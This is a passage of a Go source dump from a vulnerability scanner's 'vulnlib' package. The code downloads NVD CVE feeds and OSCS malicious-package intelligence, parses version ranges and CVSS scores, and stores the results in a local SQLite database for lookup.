    "content": "package vulnlib\n\nimport (\n\t\"database/sql\"\n\t\"net/http\"\n)\n\ntype Client struct {\n\tCli *http.Client\n\tDB  *sql.DB\n\n\tStore string\n}\n\ntype DBRow struct {\n\tId          int\n\tHash        string\n\tVulnName    string\n\tMaxVersion  string\n\tMinVersion  string\n\tDescription string\n\tLevel       string\n\tCVEID       string\n\tSource      string\n\tPublishDate string\n\tComponent   string\n\tScore       float64\n}\n\ntype cpes struct {\n\tName       string\n\tMaxVersion string\n\tMinVersion string\n\tcomponent  string\n}\n\ntype vuln struct {\n\tcpe         []*cpes\n\tscore       float64\n\tlevel       string\n\tdesc        string\n\tpublishDate string\n\tcveID       string\n\treference   string\n\tsource      string\n}\n"
  },
  {
    "path": "pkg/vulnlib/cvss.go",
    "content": "package vulnlib\n\nimport (\n\t\"bufio\"\n\t\"compress/gzip\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\tversion2 \"github.com/hashicorp/go-version\"\n\t\"github.com/tidwall/gjson\"\n)\n\nconst (\n\tcvssUrl = \"https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-%d.json.gz\"\n\n\tfirstYear = 2010\n)\n\nfunc (c *Client) GetCvss(ctx context.Context) error {\n\n\t// Try to delete newest cvss json file and re-download them\n\tif checkExpired(c.Store) {\n\t\tnewFile := filepath.Join(c.Store, fmt.Sprintf(\"nvdcve-1.1-%d.json\", time.Now().Year()))\n\t\tos.Remove(newFile)\n\t}\n\n\tfor y, now := firstYear, time.Now().Year(); y <= now; y++ {\n\t\tfilename := filepath.Join(c.Store, fmt.Sprintf(\"nvdcve-1.1-%d.json\", y))\n\n\t\tif exists(filename) {\n\t\t\t//log.Printf(\"cvss nvdcve-1.1-%d.json existed\", y)\n\t\t\tcontinue\n\t\t}\n\n\t\turl := fmt.Sprintf(cvssUrl, y)\n\t\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to get url: %s\", url)\n\t\t\tcontinue\n\t\t}\n\t\tres, err := c.Cli.Do(req)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to request url: %s\", url)\n\t\t\tcontinue\n\t\t}\n\n\t\tgz, err := gzip.NewReader(res.Body)\n\t\tif err != nil {\n\t\t\tres.Body.Close()\n\t\t\tcontinue\n\t\t}\n\n\t\terr = store(gz, filename)\n\t\tif err != nil {\n\t\t\tgz.Close()\n\t\t\tres.Body.Close()\n\t\t\treturn err\n\t\t}\n\n\t\tlog.Printf(\"Downloading cvss nvdcve-1.1-%d.json successful\", y)\n\t\tgz.Close()\n\t\tres.Body.Close()\n\t}\n\n\tlog.Printf(\"Downloading cvss file is done\")\n\n\t// Update cvss data to database\n\terr := c.cvssToDB()\n\tif err != nil {\n\t\tlog.Printf(\"failed to store cvss\")\n\t\treturn err\n\t}\n\n\tlog.Printf(\"Cvss updating finish\")\n\n\treturn nil\n}\n\nfunc store(r io.Reader, filename string) error {\n\tdata, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = os.WriteFile(filename, data, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (c *Client) cvssToDB() error {\n\tcvssFiles, err := ioutil.ReadDir(c.Store)\n\tif err != nil {\n\t\tlog.Printf(\"failed to list dir '%s'\", c.Store)\n\t\treturn err\n\t}\n\n\t// Optimized update progress\n\tupToDateFile := filepath.Join(c.Store, fmt.Sprintf(\"nvdcve-1.1-%d.json\", time.Now().Year()))\n\tlogFile := filepath.Join(c.Store, \"date.txt\")\n\tif exists(logFile) {\n\t\treturn readCVSS(upToDateFile, c.cvssParse)\n\t}\n\n\tfor _, cf := range cvssFiles {\n\t\tif !strings.Contains(cf.Name(), \"nvdcve-1.1\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tcveFile := filepath.Join(c.Store, cf.Name())\n\t\terr = readCVSS(cveFile, c.cvssParse)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"%s is stored failed\", cf.Name())\n\t\t\tcontinue\n\t\t}\n\t\tlog.Printf(\"%s is stored successfully\", cf.Name())\n\t}\n\n\treturn nil\n}\n\nfunc readCVSS(filename string, handle func(filename string) error) error {\n\tf, err := os.Open(filename)\n\n\tdefer f.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbuf := bufio.NewReader(f)\n\tvar lines string\n\tfor {\n\t\tline, _, err := buf.ReadLine()\n\t\tstrline := strings.TrimSpace(string(line))\n\n\t\tif strings.Contains(strline, `\"cve\" :`) {\n\n\t\t\terr = handle(lines)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tlines = strline\n\n\t\t} else {\n\t\t\tlines += strline\n\t\t}\n\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t}\n\n}\n\nfunc (c *Client) cvssParse(data string) error {\n\n\t// Skip the headers\n\tif !strings.Contains(data, `\"cve\"`) {\n\t\treturn nil\n\t}\n\n\tdata = \"{\" + data[:len(data)-3]\n\tcveitems := gjson.Parse(data).Value()\n\n\tcve := cveitems.(map[string]interface{})[\"cve\"].(map[string]interface{})\n\tcveID := cve[\"CVE_data_meta\"].(map[string]interface{})[\"ID\"].(string)\n\tif cveID == \"\" {\n\t\treturn nil\n\t}\n\tpublishDate := cveitems.(map[string]interface{})[\"publishedDate\"].(string)\n\tpublishDate = strings.Replace(publishDate, \"Z\", \"\", -1)\n\tpd, _ := time.Parse(\"2006-01-02T15:04\", publishDate)\n\tpublishDate = pd.Format(\"2006-01-02\")\n\n\tvar description string\n\tdescriptionData := cve[\"description\"].(map[string]interface{})[\"description_data\"]\n\tif descriptionData == nil {\n\t\tdescription = \"\"\n\t} else {\n\t\tdescription = descriptionData.([]interface{})[0].(map[string]interface{})[\"value\"].(string)\n\t}\n\n\tcpe := cveitems.(map[string]interface{})[\"configurations\"].(map[string]interface{})[\"nodes\"].([]interface{})\n\tcpeResult := cpeParse(cpe)\n\n\tif len(cpeResult) < 1 {\n\t\treturn nil\n\t}\n\n\tvar score float64\n\tvar level string\n\n\tif len(cveitems.(map[string]interface{})[\"impact\"].(map[string]interface{})) < 1 {\n\t\treturn nil\n\t}\n\n\tif cveitems.(map[string]interface{})[\"impact\"].(map[string]interface{})[\"baseMetricV3\"] == nil {\n\t\tbaseMetricV2 := cveitems.(map[string]interface{})[\"impact\"].(map[string]interface{})[\"baseMetricV2\"].(map[string]interface{})\n\t\tscore = baseMetricV2[\"cvssV2\"].(map[string]interface{})[\"baseScore\"].(float64)\n\t\tlevel = baseMetricV2[\"severity\"].(string)\n\t} else {\n\t\tcvssV3 := cveitems.(map[string]interface{})[\"impact\"].(map[string]interface{})[\"baseMetricV3\"].(map[string]interface{})[\"cvssV3\"].(map[string]interface{})\n\t\tscore = cvssV3[\"baseScore\"].(float64)\n\t\tlevel = cvssV3[\"baseSeverity\"].(string)\n\t}\n\n\tvulnes := &vuln{\n\t\tcpe:         cpeResult,\n\t\tscore:       score,\n\t\tlevel:       level,\n\t\tdesc:        description,\n\t\tpublishDate: publishDate,\n\t\tcveID:       cveID,\n\t\tsource:      \"CVSS\",\n\t}\n\n\tif vulnes != nil {\n\t\terr := c.update(vulnes)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc cpeParse(cpe []interface{}) []*cpes {\n\tcs := []*cpes{}\n\tfor index := 0; index < len(cpe); index++ {\n\t\tcpeChildren := cpe[index].(map[string]interface{})[\"children\"].([]interface{})\n\t\tif len(cpeChildren) > 0 {\n\t\t\tcpeParse(cpeChildren)\n\t\t}\n\n\t\tcpeMatch := cpe[index].(map[string]interface{})[\"cpe_match\"].([]interface{})\n\n\t\tisFirst := true\n\t\tfor _, ci := range cpeMatch {\n\t\t\tc := ci.(map[string]interface{})\n\t\t\tif !c[\"vulnerable\"].(bool) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcpe23 := c[\"cpe23Uri\"].(string)\n\t\t\tcpe23Split := strings.Split(cpe23, \":\")\n\n\t\t\tif i := findName(cs, cpe23Split[4]); i < 0 && !isFirst {\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tif i > -1 && cs[i].MinVersion == \"0.0\" {\n\t\t\t\t\tcs[i].MaxVersion = cpe23Split[5]\n\n\t\t\t\t\tif c[\"versionStartIncluding\"] != nil {\n\t\t\t\t\t\tcs[i].MinVersion = \"=\" + c[\"versionStartIncluding\"].(string)\n\t\t\t\t\t} else if c[\"versionStartExcluding\"] != nil {\n\t\t\t\t\t\tcs[i].MinVersion = c[\"versionStartExcluding\"].(string)\n\t\t\t\t\t}\n\n\t\t\t\t\tif c[\"versionEndIncluding\"] != nil {\n\t\t\t\t\t\tcs[i].MaxVersion = \"=\" + c[\"versionEndIncluding\"].(string)\n\t\t\t\t\t} else if c[\"versionEndExcluding\"] != nil {\n\t\t\t\t\t\tcs[i].MaxVersion = c[\"versionEndExcluding\"].(string)\n\t\t\t\t\t}\n\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif cpe23Split[10] != \"python\" && cpe23Split[10] != \"node.js\" {\n\t\t\t\tcpe23Split[10] = \"*\"\n\t\t\t}\n\n\t\t\tscpe := &cpes{\n\t\t\t\tName:       cpe23Split[4],\n\t\t\t\tMaxVersion: cpe23Split[5],\n\t\t\t\tMinVersion: \"0.0\",\n\t\t\t\tcomponent:  cpe23Split[10],\n\t\t\t}\n\n\t\t\tif c[\"versionStartIncluding\"] != nil {\n\t\t\t\tscpe.MinVersion = \"=\" + c[\"versionStartIncluding\"].(string)\n\t\t\t} else if c[\"versionStartExcluding\"] != nil {\n\t\t\t\tscpe.MinVersion = c[\"versionStartExcluding\"].(string)\n\t\t\t}\n\n\t\t\tif c[\"versionEndIncluding\"] != nil {\n\t\t\t\tscpe.MaxVersion = \"=\" + c[\"versionEndIncluding\"].(string)\n\t\t\t} else if c[\"versionEndExcluding\"] != nil {\n\t\t\t\tscpe.MaxVersion = c[\"versionEndExcluding\"].(string)\n\t\t\t}\n\n\t\t\t// Distinguish between Python 2 and Python 3\n\t\t\tif scpe.Name == \"python\" {\n\t\t\t\tvar pyv string\n\n\t\t\t\tif strings.Contains(scpe.MaxVersion, \"=\") {\n\t\t\t\t\tpyv = scpe.MaxVersion[1:]\n\t\t\t\t} else {\n\t\t\t\t\tpyv = scpe.MaxVersion\n\t\t\t\t}\n\t\t\t\tpyVersion, err := version2.NewVersion(pyv)\n\t\t\t\tif err == nil {\n\t\t\t\t\tpy3, _ := version2.NewVersion(\"3.0.0\")\n\t\t\t\t\tif pyVersion.Compare(py3) >= 0 && scpe.MinVersion == \"0.0\" {\n\t\t\t\t\t\tscpe.MinVersion = \"=3.0\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Filter the special character\n\t\t\tif scpe.MaxVersion == \"-\" {\n\t\t\t\tscpe.MaxVersion = \"0.0\"\n\t\t\t}\n\t\t\tif scpe.MinVersion == \"-\" {\n\t\t\t\tscpe.MinVersion = \"0.0\"\n\t\t\t}\n\n\t\t\tcs = append(cs, scpe)\n\t\t\tisFirst = false\n\t\t}\n\t}\n\treturn cs\n}\n\nfunc findName(cpeList []*cpes, name string) int {\n\tindex := -1\n\tfor i, v := range cpeList {\n\t\tif v.Name == name {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn index\n}\n"
  },
  {
    "path": "pkg/vulnlib/db.go",
    "content": "package vulnlib\n\nimport (\n\t\"crypto/md5\"\n\t\"database/sql\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\n\t_ \"github.com/mattn/go-sqlite3\"\n)\n\nfunc (cli *Client) Init() error {\n\n\t// Re-get homedir here\n\tdir, err := getHomeDir()\n\tif err != nil {\n\t\tlog.Printf(\"failed to get home dir, error: %v\", err)\n\t\treturn err\n\t}\n\n\tvar homedir string\n\tif runtime.GOOS == \"windows\" {\n\t\thomedir = filepath.Join(dir, \"vestadata\")\n\t} else {\n\t\thomedir = filepath.Join(dir, \".vesta\")\n\t}\n\n\tif !exists(homedir) {\n\t\terr = mkFolder(homedir)\n\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to create folder, error: %v\", err)\n\t\t\treturn err\n\t\t}\n\t}\n\n\tdbPath := filepath.Join(homedir, \"vesta.db\")\n\n\tvar db *sql.DB\n\tif !exists(dbPath) {\n\t\tfile, err := os.Create(dbPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfile.Close()\n\t\tdb, _ = sql.Open(\"sqlite3\", dbPath)\n\t\tvulTable := `CREATE TABLE vulns (\n\t\t\t\"ID\" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n\t\t\t\"Hash\" TEXT UNIQUE,\n\t\t\t\"VulnName\" TEXT,\n\t\t\t\"MaxVersion\" TEXT,\n\t\t\t\"MinVersion\" TEXT,\n\t\t\t\"Description\" TEXT,\n\t\t\t\"Level\" TEXT,\n\t\t\t\"CVEID\" TEXT,\n\t\t\t\"PublishDate\" TEXT,\n\t\t\t\"Component\" TEXT,\n\t\t\t\"Score\" REAL,\n\t\t\t\"Source\" TEXT);`\n\t\tquery, err := db.Prepare(vulTable)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tquery.Exec()\n\t} else {\n\t\tdb, _ = sql.Open(\"sqlite3\", dbPath)\n\t}\n\n\tcli.DB = db\n\treturn nil\n}\n\nfunc (cli *Client) update(v *vuln) error {\n\n\tfor _, cpe := range v.cpe {\n\t\thash := md5.Sum([]byte(fmt.Sprintf(\"%s%s%s%s\", cpe.Name, cpe.MaxVersion, cpe.MinVersion, v.cveID)))\n\t\tsqlRow := `INSERT INTO vulns \n\t\t\t\t\t  (\"Hash\", \"VulnName\", \"MaxVersion\", \"MinVersion\", \"Description\", \"Level\", \"CVEID\", \"PublishDate\", \"Component\", \"Score\", \"Source\") \n                       VALUES\n                      (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`\n\n\t\t_, err := cli.DB.Exec(sqlRow, hex.EncodeToString(hash[:]), cpe.Name,\n\t\t\tcpe.MaxVersion, cpe.MinVersion, v.desc,\n\t\t\tv.level, v.cveID, v.publishDate,\n\t\t\tcpe.component, v.score, v.source)\n\n\t\tif err != nil {\n\t\t\tif strings.Contains(err.Error(), \"vulns.Hash\") {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (cli *Client) QueryVulnByName(name string) ([]*DBRow, error) {\n\n\tdbRows := []*DBRow{}\n\n\tsqlRow := `SELECT * FROM vulns WHERE vulnname = ?`\n\trows, err := cli.DB.Query(sqlRow, name)\n\n\tif err != nil {\n\t\treturn dbRows, err\n\t}\n\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tr := &DBRow{}\n\t\terr = rows.Scan(&r.Id, &r.Hash, &r.VulnName,\n\t\t\t&r.MaxVersion, &r.MinVersion, &r.Description,\n\t\t\t&r.Level, &r.CVEID, &r.PublishDate,\n\t\t\t&r.Component, &r.Score, &r.Source)\n\n\t\tif err != nil || r.MaxVersion == \"*\" || r.MaxVersion == \"-\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tdbRows = append(dbRows, r)\n\t}\n\n\tif err = rows.Err(); err != nil {\n\t\treturn dbRows, err\n\t}\n\n\treturn dbRows, nil\n}\n\nfunc (cli *Client) QueryVulnByCVEID(cveid string) ([]*DBRow, error) {\n\n\tdbRows := []*DBRow{}\n\n\tsqlRow := `SELECT * FROM vulns WHERE cveid = ?`\n\trows, err := cli.DB.Query(sqlRow, cveid)\n\n\tif err != nil {\n\t\treturn dbRows, err\n\t}\n\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tr := &DBRow{}\n\t\terr = rows.Scan(&r.Id, &r.Hash, &r.VulnName,\n\t\t\t&r.MaxVersion, &r.MinVersion, &r.Description,\n\t\t\t&r.Level, &r.CVEID, &r.PublishDate,\n\t\t\t&r.Component, &r.Score, &r.Source)\n\n\t\tif err != nil || r.MaxVersion == \"*\" || r.MaxVersion == \"-\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tdbRows = append(dbRows, r)\n\t}\n\n\tif err = rows.Err(); err != nil {\n\t\treturn dbRows, err\n\t}\n\n\treturn dbRows, nil\n}\n"
  },
  {
    "path": "pkg/vulnlib/getvuln.go",
    "content": "package vulnlib\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/kvesta/vesta/config\"\n)\n\n// Fetch get cvss data from Internet\nfunc Fetch(ctx context.Context) error {\n\tlog.Printf(config.Green(\"Begin updating vulnerability database\"))\n\n\ttr := &http.Transport{\n\t\tIdleConnTimeout:    60 * time.Second,\n\t\tDisableCompression: true,\n\t}\n\n\tcli := Client{\n\t\tCli: &http.Client{\n\t\t\tTransport: tr,\n\t\t},\n\t}\n\n\tdir, err := getHomeDir()\n\tif err != nil {\n\t\tlog.Printf(\"failed to get home dir, error: %v\", err)\n\t\treturn err\n\t}\n\n\tvar store string\n\tif runtime.GOOS == \"windows\" {\n\t\tstore = filepath.Join(dir, \"vestadata\")\n\n\t} else {\n\t\tstore = filepath.Join(dir, \".vesta\")\n\t}\n\n\tif ctx.Value(\"reset\") != nil && ctx.Value(\"reset\").(bool) {\n\t\tdataFile := filepath.Join(store, \"date.txt\")\n\t\tdbFile := filepath.Join(store, \"vesta.db\")\n\n\t\t_ = os.Remove(dataFile)\n\t\t_ = os.Remove(dbFile)\n\t}\n\n\tif !exists(store) {\n\t\terr = mkFolder(store)\n\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to create folder, error: %v\", err)\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !checkExpired(store) {\n\t\tlog.Printf(\"Vulnerability Database is already initialized\")\n\t\treturn nil\n\t} else {\n\t\tlog.Printf(\"Vulnerability Data expired, updating database\")\n\t}\n\n\tcli.Store = store\n\terr = cli.Init()\n\tif err != nil {\n\t\tlog.Printf(\"failed to init database\")\n\t\treturn err\n\t}\n\n\tdefer cli.DB.Close()\n\n\t// Get cvss data and store to database\n\terr = cli.GetCvss(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"failed to get cvss data, error: %v\", err)\n\t}\n\n\t// Get OSCS data for poised package\n\terr = cli.GetOSCS(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"failed to get oscs data, error: %v\", err)\n\t}\n\n\t// Write log\n\terr = writeLog(store)\n\tif err != nil {\n\t\tlog.Printf(\"failed to write date log, error: %v\", err)\n\t}\n\n\treturn nil\n}\n\nfunc getHomeDir() (string, error) {\n\tif runtime.GOOS == \"windows\" {\n\t\tdir, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn dir, nil\n\t}\n\n\tdir, err := os.UserHomeDir()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn dir, nil\n}\n\nfunc exists(path string) bool {\n\t_, err := os.Stat(path)\n\tif err != nil {\n\t\tif os.IsExist(err) {\n\t\t\treturn true\n\t\t}\n\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc mkFolder(path string) error {\n\tif !exists(path) {\n\t\terr := os.MkdirAll(path, os.FileMode(0755))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc checkExpired(path string) bool {\n\n\tfilename := filepath.Join(path, \"date.txt\")\n\tvar dateFile *os.File\n\tvar err error\n\n\tif !exists(filename) {\n\t\treturn true\n\n\t} else {\n\t\tdateFile, err = os.Open(filename)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to open date: %v\", err)\n\t\t\treturn true\n\t\t}\n\t}\n\n\tdefer dateFile.Close()\n\n\tvalue, err := ioutil.ReadAll(dateFile)\n\tif err != nil {\n\t\treturn true\n\t}\n\n\ttoday := time.Now()\n\n\tif len(value) < 1 {\n\n\t\treturn true\n\t}\n\n\tlogDate, err := time.Parse(\"02/01/2006\", strings.TrimSuffix(string(value), \"\\x0a\"))\n\n\t// Check whether a time format\n\tif err != nil {\n\t\tlog.Printf(\"Date format error, expired\")\n\t\treturn true\n\t}\n\n\tif expire := today.After(logDate.AddDate(0, 0, 1)); expire {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\nfunc writeLog(path string) error {\n\n\tfilename := filepath.Join(path, \"date.txt\")\n\n\tif !exists(filename) {\n\t\tf, err := os.Create(filename)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to create log\")\n\t\t\treturn err\n\t\t}\n\t\tf.Close()\n\t}\n\n\ttoday := time.Now()\n\n\tdateFile, err := os.OpenFile(filename, os.O_WRONLY, 0644)\n\tif err != nil {\n\t\tlog.Printf(\"failed to open log\")\n\t\treturn err\n\t}\n\n\tdefer dateFile.Close()\n\n\t_, err = dateFile.WriteString(today.Format(\"02/01/2006\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/vulnlib/oscs.go",
    "content": "package vulnlib\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n)\n\nconst (\n\tOSCSUrl     = \"https://www.oscs1024.com/oscs/v1/intelligence/list\"\n\tOSCSVulnUrl = \"https://www.oscs1024.com/oscs/v1/vdb/info\"\n\n\tpageSize = 50\n)\n\nfunc (c *Client) GetOSCS(ctx context.Context) error {\n\n\tpage := 1\n\n\tresBody, err := oscsRequest(c.Cli, page)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\toscsData := gjson.Parse(string(resBody)).Value()\n\toscsVuln := oscsData.(map[string]interface{})[\"data\"]\n\tif oscsVuln == nil {\n\t\terr = errors.New(\"no oscs data\")\n\t\treturn err\n\t}\n\n\terr = c.oscsParse(oscsVuln)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif checkExpired(c.Store) {\n\t\treturn nil\n\t}\n\n\ttotal := oscsVuln.(map[string]interface{})[\"total\"].(float64)\n\ttotalPages := int(total) / pageSize\n\n\tpage += 1\n\tfor page <= totalPages {\n\n\t\tresBody, err = oscsRequest(c.Cli, page)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\toscsData = gjson.Parse(string(resBody)).Value()\n\t\toscsVuln = oscsData.(map[string]interface{})[\"data\"]\n\t\tif oscsVuln == nil {\n\t\t\terr = errors.New(\"no oscs data\")\n\t\t\treturn err\n\t\t}\n\n\t\terr = c.oscsParse(oscsVuln)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tpage += 1\n\t}\n\n\tlog.Printf(\"OSCS updating finish\")\n\n\treturn nil\n}\n\nfunc oscsRequest(cli *http.Client, page int) ([]byte, error) {\n\tresBody := []byte{}\n\n\tjsonPost := map[string]interface{}{\n\t\t\"page\":     page,\n\t\t\"per_page\": pageSize,\n\t}\n\n\tdata, _ := json.Marshal(jsonPost)\n\n\treq, err := http.NewRequestWithContext(context.Background(), http.MethodPost, OSCSUrl, bytes.NewBuffer(data))\n\tif err != nil {\n\t\treturn resBody, err\n\t}\n\n\treq.Header.Set(\"Referer\", \"https://www.oscs1024.com/cm\")\n\treq.Header.Set(\"Origin\", \"https://www.oscs1024.com\")\n\treq.Header.Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\n\tres, err := cli.Do(req)\n\tif err != nil {\n\t\tlog.Printf(\"failed to request url: %s\", OSCSUrl)\n\t}\n\n\tdefer req.Body.Close()\n\n\tresBody, err = ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn resBody, err\n\t}\n\n\treturn resBody, nil\n}\n\nfunc (c *Client) oscsVulnParse(mps string) ([]byte, error) {\n\tresBody := []byte{}\n\n\tjsonPost := map[string]interface{}{\n\t\t\"vuln_no\": mps,\n\t}\n\n\tdata, _ := json.Marshal(jsonPost)\n\treq, err := http.NewRequestWithContext(context.Background(), http.MethodPost, OSCSVulnUrl, bytes.NewBuffer(data))\n\tif err != nil {\n\t\treturn resBody, err\n\t}\n\n\treq.Header.Set(\"Referer\", \"https://www.oscs1024.com/cm\")\n\treq.Header.Set(\"Origin\", \"https://www.oscs1024.com\")\n\treq.Header.Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\n\tres, err := c.Cli.Do(req)\n\tif err != nil {\n\t\treturn resBody, err\n\t}\n\n\tdefer res.Body.Close()\n\n\tresBody, err = ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn resBody, err\n\t}\n\n\treturn resBody, nil\n}\n\nfunc (c *Client) oscsParse(data interface{}) error {\n\tvalueData := data.(map[string]interface{})[\"data\"]\n\tif valueData == nil {\n\t\terr := errors.New(\"no oscs data\")\n\t\treturn err\n\t}\n\n\tfor _, pro := range valueData.([]interface{}) {\n\t\tproMap := pro.(map[string]interface{})\n\t\tif proMap == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif int(proMap[\"intelligence_type\"].(float64)) == 3 {\n\t\t\terr := c.oscsToDB(proMap)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"failed to store oscs db, error: %v\", err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (c *Client) oscsToDB(com map[string]interface{}) error {\n\ttitle := com[\"title\"].(string)\n\tcharacterRegex := regexp.MustCompile(`[\\w-@/]+`)\n\tcharacterMatch := characterRegex.FindAllStringSubmatch(title, -1)\n\n\tif len(characterMatch) < 2 {\n\t\treturn nil\n\t}\n\n\tpd, _ := time.Parse(time.RFC3339, com[\"public_time\"].(string))\n\tpublishDate := pd.Format(\"2006-01-02\")\n\n\tvar cpe []*cpes\n\tvulnes := &vuln{\n\t\tscore:       8.5,\n\t\tlevel:       \"high\",\n\t\tpublishDate: publishDate,\n\t\tcveID:       com[\"mps\"].(string),\n\t\tsource:      \"OSCS\",\n\t}\n\n\tswitch {\n\tcase strings.ToUpper(characterMatch[0][0]) == \"NPM\":\n\t\tcpe = []*cpes{\n\t\t\t{\n\t\t\t\tName:       characterMatch[1][0],\n\t\t\t\tMaxVersion: \"999\",\n\t\t\t\tMinVersion: \"0.0\",\n\t\t\t\tcomponent:  \"node.js\",\n\t\t\t},\n\t\t}\n\n\tcase strings.ToUpper(characterMatch[1][0]) == \"NPM\":\n\t\tcpe = []*cpes{\n\t\t\t{\n\t\t\t\tName:       characterMatch[0][0],\n\t\t\t\tMaxVersion: \"999\",\n\t\t\t\tMinVersion: \"0.0\",\n\t\t\t\tcomponent:  \"node.js\",\n\t\t\t},\n\t\t}\n\n\tcase characterMatch[0][0] == \"PyPi\":\n\t\tcpe = []*cpes{\n\t\t\t{\n\t\t\t\tName:       characterMatch[1][0],\n\t\t\t\tMaxVersion: \"999\",\n\t\t\t\tMinVersion: \"0.0\",\n\t\t\t\tcomponent:  \"python\",\n\t\t\t},\n\t\t}\n\n\tcase characterMatch[1][0] == \"Python\":\n\t\tcpe = []*cpes{\n\t\t\t{\n\t\t\t\tName:       characterMatch[0][0],\n\t\t\t\tMaxVersion: \"999\",\n\t\t\t\tMinVersion: \"0.0\",\n\t\t\t\tcomponent:  \"python\",\n\t\t\t},\n\t\t}\n\n\tdefault:\n\t\treturn nil\n\t}\n\n\t// Deal with '@<user>/<package-name>' in NPM\n\tif strings.Contains(cpe[0].Name, \"/\") {\n\t\tnameArray := strings.Split(cpe[0].Name, \"/\")\n\t\tcpe[0].Name = nameArray[len(nameArray)-1]\n\t}\n\n\tvulnes.cpe = cpe\n\tvulnes.desc = fmt.Sprintf(\"Package '%s' is detected as malware, reference: https://www.oscs1024.com/hd/%s.\",\n\t\tcpe[0].Name, vulnes.cveID)\n\n\tif vulnes != nil {\n\t\terr := c.update(vulnes)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  }
]